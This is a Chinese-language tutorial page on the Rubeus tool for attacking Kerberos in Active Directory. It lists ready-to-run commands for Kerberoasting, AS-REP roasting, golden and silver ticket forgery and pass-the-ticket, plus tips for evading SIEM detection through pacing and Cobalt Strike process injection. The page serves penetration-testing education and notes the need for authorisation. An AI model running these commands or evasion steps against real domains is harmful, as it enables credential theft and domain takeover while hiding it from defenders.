当前位置: 首页 > news >正文

Rubeus使用教程

Rubeus 是一款专注于 Kerberos 协议交互与滥用的命令行工具,主要用于 Windows 环境下的 Kerberos 票据操作、漏洞利用和凭据提取。它由安全研究员 Will Schroeder 开发,是渗透测试和红队评估中针对 Active Directory 环境的重要工具。

该工具能够直接与 Kerberos 协议进行交互,支持票据请求、导出、注入、续订等操作,同时可以利用多种 Kerberos 相关漏洞(如黄金票据、白银票据、Kerberoasting 等),帮助安全人员评估域环境的安全性,是域渗透测试中的核心工具之一。

二、工具文件结构

文件/目录路径说明
/usr/share/windows-resources/rubeusRubeus 工具的主目录
Rubeus.exeRubeus 工具的可执行文件,为单文件命令行程序,包含所有核心功能

三、使用教程

1. 前提条件

  • 运行环境:需在 Windows 系统中运行(可通过 Wine 在 Linux 中使用,但推荐原生 Windows 环境)
  • 权限要求:部分功能需要域用户权限,高级操作(如票据伪造)需要域管理员相关信息
  • 环境依赖:需在 Active Directory 域环境中使用,独立主机环境下功能受限

2. 基础使用方法

Rubeus 采用命令行参数模式,基本语法为:

Rubeus.exe <命令> [参数]

3. 核心功能及示例

(1)获取当前用户的 Kerberos 票据

Rubeus.exe tickets /export

功能:列出当前用户缓存的所有 Kerberos 票据并导出为 .kirbi 文件

应用场景:获取可用票据用于后续传递或分析

(2)Kerberoasting 攻击(针对服务账户)

# 列出可攻击的服务主体名称(SPN) Rubeus.exe kerberoast /user:目标用户名 # 导出所有可攻击的服务票据哈希 Rubeus.exe kerberoast /outputfile:hashes.txt

功能:请求服务票据并提取其哈希值,可用于离线破解服务账户密码

注意:此操作不需要管理员权限,普通域用户即可执行

(3)黄金票据生成与注入

Rubeus.exe golden /user:伪造的用户名 /domain:域名称 /sid:域SID /krbtgt:krbtgt账户哈希 /ptt

参数说明:

  • /user:要伪造的用户名
  • /domain:目标域名称(如 example.com)
  • /sid:域的 SID(可通过whoami /user获取)
  • /krbtgt:域中 krbtgt 账户的 NTLM 哈希
  • /ptt:将生成的票据注入当前会话

功能:生成黄金票据并注入,获得域内任意资源访问权限

(4)白银票据生成

Rubeus.exe silver /user:目标用户 /domain:域名称 /sid:域SID /target:目标服务主机 /service:服务类型 /rc4:服务账户哈希 /ptt

功能:生成针对特定服务的白银票据,相比黄金票据更隐蔽,仅需目标服务账户哈希

(5)票据传递(Pass-the-Ticket)

# 注入已导出的票据 Rubeus.exe ptt /ticket:票据文件.kirbi # 列出当前注入的票据 Rubeus.exe klist

功能:将获取到的票据注入当前会话,实现无需密码访问目标资源

(6)AS-REP Roasting 攻击

# 查找不需要预认证的用户 Rubeus.exe asreproast /user:目标用户 /outputfile:asrep_hashes.txt

功能:针对未启用预认证的用户,获取其 AS-REP 响应并提取哈希进行破解

4. 使用注意事项

  • 检测规避:
    • 避免在短时间内执行大量操作,可能触发 SIEM 告警
    • 可使用/nowrap参数去除输出中的换行符,便于日志规避
    • 结合进程注入技术(如通过 Cobalt Strike 加载)减少直接执行痕迹
  • 版本更新:
    • Rubeus 持续更新以支持新的 Kerberos 特性和漏洞,建议使用最新版本
    • 可通过官方仓库获取更新:https://github.com/GhostPack/Rubeus
  • 法律合规:
    • 仅在合法授权的渗透测试中使用,未经授权的域环境测试可能违反法律法规
http://www.cnnetsun.cn/news/1702317.html

相关文章:

  • DAMO-YOLO手机检测模型onnx导出与TensorRT加速部署教程
  • imx6ull LCD驱动移植实战:从设备树配置到触摸屏调试
  • 抖音批量下载器实战指南:从零开始高效采集无水印内容
  • 突破设备壁垒:Sunshine开源串流方案让游戏体验无缝延伸
  • 零基础玩转GLM-4.6V-Flash-WEB:手把手教你实现网页与API双重推理
  • 春联生成模型MySQL数据库集成:用户偏好存储与个性化推荐
  • RTL8852BE Wi-Fi 6驱动实战指南:从部署到优化的全方位解决方案
  • 019、无监督学习:聚类分析与降维技术(K-Means, PCA)
  • BetterJoy:5分钟让Switch手柄在电脑上完美工作
  • 李慕婉-仙逆-造相Z-Turbo JavaScript前端交互:实现实时AI对话与内容生成
  • Jimeng LoRA安装包制作与分发最佳实践
  • 零成本打造专业级多屏工作站:ParsecVDisplay虚拟显示技术全解析
  • DeepSeek-R1-Distill-Qwen-1.5B性能测试:在1.5B参数下的惊艳表现
  • LFM2.5-1.2B-Thinking新手必看:从安装到对话,手把手教你搭建AI聊天机器人
  • DeOldify模型压缩与量化教程:适配边缘计算设备部署
  • 告别审稿焦虑:Elsevier Tracker智能工具如何提升学术投稿效率
  • STEP3-VL-10B部署教程:从CSDN算力控制台创建→镜像拉取→服务验证全流程
  • 避坑指南:.NET在HarmonyOS上适配时遇到的三个“坑”及填坑方案(syscall/内存/ICU)
  • E-Hentai漫画批量下载终极指南:免费高效的浏览器脚本解决方案
  • Qwen-Image-2512-Pixel-Art-LoRA实战教程:自定义LoRA融合多个像素风格
  • Heygem数字人视频生成系统批量版实测:5分钟快速上手,批量制作口型同步视频
  • QT桌面应用集成Phi-4-mini-reasoning 3.8B:开发跨平台智能助手
  • Ollama镜像免配置优势凸显:translategemma-27b-it开箱即用图文翻译体验
  • 3步彻底清理Windows驱动垃圾:Driver Store Explorer完全指南
  • 如何用OpenSpeedy突破游戏帧率限制?开源变速工具全攻略
  • 万象熔炉 | Anything XL实操手册:负向提示词避坑与高质量出图技巧
  • 【带AI】基于SpringBoot+Vue非遗数字文化馆系统设计与实现+万字文档+指导搭建视频
  • Gemma 4-31B震撼发布:谷歌多模态AI模型深度解析
  • GLM-4.7-Flash在VSCode中的Python开发环境配置实战
  • feishu-doc-export:飞书文档高效迁移与格式转换全攻略